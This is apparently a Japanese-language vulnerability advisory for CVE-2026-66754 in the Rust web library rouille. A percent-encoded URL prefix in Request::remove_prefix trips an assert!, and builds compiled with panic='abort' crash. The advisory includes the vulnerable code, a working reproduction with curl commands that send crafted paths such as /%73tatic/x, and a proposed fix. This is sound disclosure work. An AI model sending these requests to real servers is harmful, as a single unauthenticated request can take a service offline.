
割り当て済みCVE ID: CVE-2026-66754
Request::remove_prefix はパーセントデコードされたURLをテストしますが、アサーションは未加工のURLに対して行われます。デコードされたパスがプレフィックスで始まる一方で、未加工のパスがプレフィックスで始まらないリクエストは、テストを通過してアサーションに失敗します。プレフィックスの1文字をパーセントエンコードするだけで十分です。
デフォルトビルドではパニックは捕捉され、500になります。panic = "abort" のビルドではそれを捕捉するものが何もなく、認証なしのGETが1回でサーバープロセスを終了させます。
リポジトリURL: https://github.com/tomaka/rouille
| 最初に影響を受けるバージョン | 0.1.6 (2016-09-22)、remove_prefix を導入したリリース |
| 最後に影響を受けるバージョン | 3.6.2 (2023-04-24)、現在のリリース |
| 影響を受けないバージョン | 0.1.5以前、remove_prefix が存在しない |
| 修正版 | 執筆時点で修正版はなし |
この関数は、その範囲内のすべてのリリースおよび現在の master において変更されていません。rouilleがURLプレフィックス配下で静的ファイルを配信するために文書化しているパターンである Request::remove_prefix を呼び出すアプリケーションが影響を受けます (src/assets.rs の66〜75行目、および src/lib.rs の804〜811行目)。
CWE-617 (到達可能なアサーション)、さらにCWE-248 (未捕捉の例外) につながります。
CVSS 4.0 基本スコア 8.2 (高)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
GETリクエストを1回送信できるリモートの認証なしクライアント。資格情報もユーザー操作も不要です。
panic = "abort" はCargoのデフォルトではありませんが、バイナリを小さくしオーバーヘッドを低減するための一般的なリリースプロファイルの選択肢です。rouilleは可用性をアンワインディングに依存しています。Server::process が src/lib.rs の602行目で panic::catch_unwind に依存してハンドラのパニックを500に変換しているためです。この依存関係は文書化されていません。
rouille/src/lib.rs の813〜822行目:
813 pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
814 if !self.url().starts_with(prefix) {
815 return None;
816 }
817
818 // TODO: url-encoded characters in the prefix are not implemented
819 assert!(self.url.starts_with(prefix));
820 Some(Request {
821 method: self.method.clone(),
822 url: self.url[prefix.len()..].to_owned(),
814行目はパーセントデコードを行う self.url() を呼び出します。819行目は未加工のフィールドである self.url に対してアサーションを行い、822行目は同じ未加工フィールドをスライスします。パスがプレフィックス内にパーセントエスケープを含む場合、この2つの表現は食い違います:
同じ不一致により、remove_prefix は正当にパーセントエンコードされたパスを決してルーティングしないことも意味します。そのため、正確性のバグと可用性のバグは同じ修正を共有します。
ステップ1. 文書化されたプレフィックスの慣用句を使用してサーバーを起動します。
use rouille::Response;
fn main() {
rouille::start_server("127.0.0.1:8003", |request| {
if let Some(r) = request.remove_prefix("/static") {
return rouille::match_assets(&r, ".");
}
Response::text("home")
});
}
ステップ2. 良性のリクエストと、s をパーセントエンコードした同等のリクエストを送信します。--path-as-is はcurlがパスを正規化するのを防ぎます。
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/static/x'
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/%73tatic/x'
デフォルトビルドでの結果。1つ目はファイルが見つからない場合の通常の404、2つ目はパニックが500に変換されたものです:
404
500
そしてstderrには次のように出力されます:
thread '<unnamed>' panicked at src/lib.rs:819:9:
assertion failed: self.url.starts_with(prefix)
ステップ3. 同じプログラムをパニック時アボートで再ビルドし、2つ目のリクエストを繰り返します。
[profile.release]
panic = "abort"
cargo build --release
./target/release/<binary> &
curl -sS --path-as-is 'http://127.0.0.1:8003/%73tatic/x'
結果。プロセスはSIGABRT (終了コード134) で終了し、サーバーは応答を停止します。1回のリクエスト、認証なし、可用性の完全な喪失です。
panic = "abort" のビルドでは、認証なしのリクエスト1回でサーバーが停止します。デフォルトビルドでは、プレフィックス内にパーセントエスケープを含むパスのリクエストは配信されず500を返すため、正当なクライアントにとってもルーティングが正しくありません。
パニックは Server::process が src/lib.rs の643行目と649行目で catch_unwind の外側でunwrapするミューテックスを汚染することはないことに注意してください。remove_prefix は Arc をクローンするだけで、ガードを保持することは決してないためです。アンワインディングビルドではワーカースレッドは正常に回復します。
比較とスライスを同じ表現に対して行います。最も単純で正しいバージョンは、未加工のURLを比較してスライスするものです:
pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
if !self.url.starts_with(prefix) {
return None;
}
Some(Request {
url: self.url[prefix.len()..].to_owned(),
..
})
}
デコード後の比較動作を意図している場合は、URLを一度デコードし、デコードされた文字列からプレフィックスを取り除き、未加工フィールドをスライスする代わりに残りを再エンコードします。
いずれにせよ assert! は削除すべきです。ライブラリは攻撃者が制御する入力によってプロセスをアボートさせるべきではありません。rouille が panic = "unwind" を必要とすることを文書化するか、正確性のために catch_unwind への依存を排除することも役立ちます。
| 未加工URL | url() デコード後 | 814行目 | 819行目 |
|---|
/static/x | /static/x | 通過 | 通過 |
/%73tatic/x | /static/x | 通過 | 失敗 |
/stati%63/x | /static/x | 通過 | 失敗 |